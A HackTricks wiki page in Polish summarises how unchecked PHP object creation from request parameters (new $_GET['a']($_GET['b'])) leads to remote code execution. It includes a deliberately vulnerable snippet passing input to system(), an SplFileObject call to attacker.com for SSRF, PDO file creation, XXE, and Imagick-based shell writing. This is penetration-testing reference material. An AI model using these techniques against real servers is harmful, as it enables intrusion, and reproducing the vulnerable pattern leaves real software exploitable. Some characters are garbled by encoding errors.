# PHP - RCE abusing object creation: new $\_GET\["a"]\($\_GET\["b"])
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 馃挰 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
To jest zasadniczo podsumowanie [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
## Wprowadzenie
Tworzenie nowych, dowolnych obiekt贸w, takich jak `new $_GET["a"]($_GET["a"])`, mo偶e prowadzi膰 do zdalnego wykonania kodu (RCE), jak szczeg贸艂owo opisano w [**artykule**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Dokument ten podkre艣la r贸偶ne strategie osi膮gania RCE.
## RCE za pomoc膮 klas niestandardowych lub autoloadingu
Sk艂adnia `new $a($b)` jest u偶ywana do instancjonowania obiektu, gdzie **`$a`** reprezentuje nazw臋 klasy, a **`$b`** jest pierwszym argumentem przekazywanym do konstruktora. Te zmienne mog膮 pochodzi膰 z danych wej艣ciowych u偶ytkownika, takich jak GET/POST, gdzie mog膮 by膰 ci膮gami lub tablicami, lub z JSON, gdzie mog膮 wyst臋powa膰 jako inne typy.
Rozwa偶 poni偶szy fragment kodu:
```php
class App {
function __construct ($cmd) {
system($cmd);
}
}
class App2 {
function App2 ($cmd) {
system($cmd);
}
}
$a = $_GET['a'];
$b = $_GET['b'];
new $a($b);
```
W tym przypadku ustawienie `$a` na `App` lub `App2` oraz `$b` na polecenie systemowe (np. `uname -a`) skutkuje wykonaniem tego polecenia.
**Funkcje autoloading** mog膮 by膰 wykorzystywane, je艣li takie klasy nie s膮 bezpo艣rednio dost臋pne. Te funkcje automatycznie 艂aduj膮 klasy z plik贸w w razie potrzeby i s膮 definiowane za pomoc膮 `spl_autoload_register` lub `__autoload`:
```php
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});
function __autoload($class_name) {
include $class_name . '.php';
};
spl_autoload_register();
```
Zachowanie autoloadingu r贸偶ni si臋 w zale偶no艣ci od wersji PHP, oferuj膮c r贸偶ne mo偶liwo艣ci RCE.
## RCE za pomoc膮 klas wbudowanych
Brakuj膮c niestandardowych klas lub autoloader贸w, **wbudowane klasy PHP** mog膮 wystarczy膰 do RCE. Liczba tych klas waha si臋 od 100 do 200, w zale偶no艣ci od wersji PHP i rozszerze艅. Mo偶na je wylistowa膰 za pomoc膮 `get_declared_classes()`.
Konstruktory, kt贸re mog膮 by膰 interesuj膮ce, mo偶na zidentyfikowa膰 za pomoc膮 API refleksji, jak pokazano w poni偶szym przyk艂adzie oraz w linku [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
**RCE za pomoc膮 konkretnych metod obejmuje:**
### **SSRF + Deserializacja Phar**
Klasa `SplFileObject` umo偶liwia SSRF poprzez sw贸j konstruktor, pozwalaj膮c na po艂膮czenia z dowolnym URL:
```php
new SplFileObject('http://attacker.com/');
```
SSRF mo偶e prowadzi膰 do atak贸w deserializacji w wersjach PHP przed 8.0 przy u偶yciu protoko艂u Phar.
### **Wykorzystywanie PDOs**
Konstruktor klasy PDO umo偶liwia po艂膮czenia z bazami danych za pomoc膮 ci膮g贸w DSN, co potencjalnie umo偶liwia tworzenie plik贸w lub inne interakcje:
```php
new PDO("sqlite:/tmp/test.txt")
```
### **SoapClient/SimpleXMLElement XXE**
Wersje PHP do 5.3.22 i 5.4.12 by艂y podatne na ataki XXE za po艣rednictwem konstruktor贸w `SoapClient` i `SimpleXMLElement`, w zale偶no艣ci od wersji libxml2.
## RCE za pomoc膮 rozszerzenia Imagick
W analizie **zale偶no艣ci projektu** odkryto, 偶e **Imagick** mo偶e by膰 wykorzystany do **wykonywania polece艅** poprzez instancjonowanie nowych obiekt贸w. Stwarza to mo偶liwo艣膰 wykorzystania luk w zabezpieczeniach.
### Parser VID
Zidentyfikowano zdolno艣膰 parsera VID do zapisywania tre艣ci w dowolnie okre艣lonej 艣cie偶ce w systemie plik贸w. Mo偶e to prowadzi膰 do umieszczenia pow艂oki PHP w katalogu dost臋pnym przez sie膰, osi膮gaj膮c zdalne wykonanie kodu (RCE).
#### Parser VID + Przesy艂anie plik贸w
Zauwa偶ono, 偶e PHP tymczasowo przechowuje przesy艂ane pliki w `/tmp/phpXXXXXX`. Parser VID w Imagick, wykorzystuj膮c protok贸艂 **msl**, mo偶e obs艂ugiwa膰 znaki wieloznaczne w 艣cie偶kach plik贸w, co u艂atwia przeniesienie tymczasowego pliku do wybranej lokalizacji. Ta metoda oferuje dodatkowe podej艣cie do osi膮gni臋cia dowolnego zapisu plik贸w w systemie plik贸w.
### Awaria PHP + Brute Force
Metoda opisana w [**oryginalnym opisie**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) polega na przesy艂aniu plik贸w, kt贸re powoduj膮 awari臋 serwera przed usuni臋ciem. Poprzez brute forcing nazwy tymczasowego pliku, mo偶liwe jest, aby Imagick wykona艂 dowolny kod PHP. Jednak ta technika okaza艂a si臋 skuteczna tylko w przestarza艂ej wersji ImageMagick.
## References
* [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 馃挰 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}